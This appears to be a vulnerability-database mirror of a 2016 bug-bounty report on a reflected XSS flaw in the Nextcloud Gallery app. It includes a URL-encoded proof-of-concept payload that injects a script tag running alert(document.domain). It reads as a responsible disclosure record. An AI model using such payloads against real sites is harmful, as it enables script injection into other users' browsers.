Lucene search

K
hackeroneSoreksH1:165686
HistorySep 04, 2016 - 3:59 p.m.

Nextcloud: Reflected XSS in Gallery App

2016-09-0415:59:09
soreks
hackerone.com
60

EPSS

0.002

Percentile

55.0%

Go to: nextcloud/index.php/apps/gallery/#%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3Ejavascript:alert%280%29//%00

Tested on: Firefox 43.0.1

If you need more information then write me.

EPSS

0.002

Percentile

55.0%